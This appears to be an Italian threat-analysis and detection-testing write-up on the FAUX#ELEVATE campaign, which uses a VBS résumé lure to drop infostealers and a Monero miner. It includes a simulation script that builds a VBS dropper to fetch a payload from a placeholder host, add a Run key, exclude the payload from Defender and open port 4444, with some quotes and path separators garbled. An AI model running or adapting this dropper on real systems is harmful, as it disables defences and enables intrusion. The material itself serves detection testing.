Analisi di FAUX#ELEVATE: Attori di Minaccia Puntano alla Francia con Esca CV per Distribuire Crypto Miners e Infostealer che Puntano agli Ambienti Enterprise

Riepilogo

Un’operazione di cybercriminalità sfrutta un file di curriculum VBS malevolo per colpire ambienti aziendali francofoni. Il dropper è altamente offuscato ed è progettato per essere eseguito solo su macchine joinate al dominio, dove distribuisce malware per il furto di credenziali insieme a un miner di Monero. La campagna utilizza servizi fidati come Dropbox e siti WordPress compromessi in Marocco per ospitare i payload. I dati rubati vengono esfiltrati tramite SMTP a mail.ru, e il malware rimuove le tracce dopo l’esecuzione per ridurre la visibilità forense.

Indagine

I ricercatori hanno ingegnerizzato al contrario il dropper VBS, scoperto i suoi controlli ambientali e mappato l’intera catena d’infezione multi-stadio, inclusa l’estrazione con 7-Zip, un RAT personalizzato chiamato RuntimeHost.exe, il furto delle credenziali del browser ChromElevator e l’attività di mining XMRig. Hanno anche identificato l’infrastruttura di supporto come indirizzi IP, voci DNS dinamiche e server WordPress compromessi. La persistenza era collegata a chiavi Run del registro e a un’attività pianificata nascosta.

Mitigazione

I difensori dovrebbero bloccare file VBS sospetti e applicare controlli rigidi sugli allegati email. Il monitoraggio dovrebbe concentrarsi sull’esecuzione anomala di wscript.exe, comandi PowerShell che aggiungono esclusioni in Defender e modifiche al registro che influenzano EnableLUA. Le organizzazioni dovrebbero limitare l’SMTP in uscita da applicazioni non di posta e osservare le connessioni alle infrastrutture note di Dropbox e mining-pool. Qualsiasi chiave di registro o attività pianificata identificata dovrebbe essere rimossa o messa in quarantena.

Risposta

I team di sicurezza dovrebbero rilevare la creazione delle chiavi Run “Microsoft Media Service” e “z_MicrosoftEdgeAutoLaunch_2EDFBF”, insieme al compito pianificato nascosto “MicrosoftUpdateService”. Gli allarmi dovrebbero attivarsi sui processi wscript.exe che si collegano a Dropbox o ai domini WordPress documentati. I file malevoli devono essere messi in quarantena, l’host isolato e le credenziali del browser esposte resettate. Una revisione forense dovrebbe poi determinare se i dati rubati sono stati esfiltrati tramite mail.ru.

Esecuzione Simulazione

Prerequisito: Il Telemetry & Baseline Pre-flight Check deve essere superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati ed essere progettati per generare la telemetria esatta attesa dalla logica di rilevamento.

• Narrazione Attacco & Comandi:

  1. Fase 1 – Rilasciare VBS malevolo: L’attaccante scrive un dropper VBS che scarica un payload di secondo stadio e scrive una chiave run del registro per la persistenza.
  2. Fase 2 – Eseguire VBS tramite wscript.exe con PowerShell come processo genitore, soddisfacendo così la condizione di rilevamento genitore-figlio.
  3. Fase 3 – All’interno del VBS, invocare PowerShell per aggiungere un’esclusione di Microsoft Defender (T1562.001) e Netsh per aprire la porta TCP in entrata 4444 (T1562.004) per il C2.
  4. Fase 4 – Pulire le prove dopo il successo.

• Script Test di Regressione: (PowerShell – contenuto autonomo; eseguire con diritti amministrativi)

  # -----------------------------------------------------------------------
  # Simulazione Dropper VBS Maligni – attiva la regola Sigma:
  #   Image == "*wscript.exe" AND ParentImage in ("*powershell.exe","*netsh.exe")
  # -----------------------------------------------------------------------
  
  $vbsPath = "$env:Tempmalicious_dropper.vbs"
  $payloadUrl = "http://example.com/payload.exe"   # URL segnaposto
  $payloadPath = "$env:Temppayload.exe"
  
  # 1. Creare un VBS maligno che:
  #    • Scarica un payload
  #    • Scrive una chiave Run per persistenza
  #    • Chiama PowerShell per aggiungere esclusione Defender
  #    • Chiama Netsh per aprire una regola firewall
  $vbsContent = @"
  Set objXML = CreateObject("Microsoft.XMLHTTP")
  objXML.Open "GET", "$payloadUrl", False
  objXML.Send
  If objXML.Status = 200 Then
  Set objStream = CreateObject("ADODB.Stream")
  objStream.Type = 1
  objStream.Open
  objStream.Write objXML.ResponseBody
  objStream.SaveToFile "$payloadPath", 2
  End If

‘ Persist via Run key Set objShell = CreateObject(“WScript.Shell”) objShell.RegWrite “HKCUSoftwareMicrosoftWindowsCurrentVersionRunmalicious”, “$payloadPath”

‘ Defender exclusion via PowerShell (executed inline) objShell.Run “powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '$payloadPath'“”, 0, True

‘ Open firewall port 4444 via Netsh (executed inline) objShell.Run “netsh.exe advfirewall firewall add rule name="MaliciousPort” dir=in action=allow protocol=TCP localport=4444″, 0, True “@

Set-Content -Path $vbsPath -Value $vbsContent -Encoding ASCII

# 2. Lanciare il VBS con PowerShell come processo genitore
Write-Host "[*] Avviando VBS malevolo tramite wscript.exe (genitore: PowerShell)"
Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -Command `"wscript.exe `"$vbsPath`"`"" -Wait

# 3. Verificare che la regola firewall sia stata aggiunta (opzionale)
netsh advfirewall firewall show rule name=MaliciousPort

# 4. Ripulire gli artefatti (payload & VBS) – lasciato per sezione di pulizia separata
Write-Host "[+] Simulazione completata. Rivedere gli allarmi nel SIEM."

• Comandi di Pulizia: (eseguire dopo la verifica)

  # Rimuovere la regola firewall
  netsh advfirewall firewall delete rule name="MaliciousPort"
  
  # Rimuovere l'esclusione Defender
  powershell.exe -Command "Remove-MpPreference -ExclusionPath '$env:Temppayload.exe'"
  
  # Cancellare la chiave Run di persistenza
  reg delete "HKCUSoftwareMicrosoftWindowsCurrentVersionRunmalicious" /f
  
  # Eliminare i file
  Remove-Item -Path "$env:Tempmalicious_dropper.vbs" -Force
  Remove-Item -Path "$env:Temppayload.exe" -Force
  
  Write-Host "[+] Pulizia completata."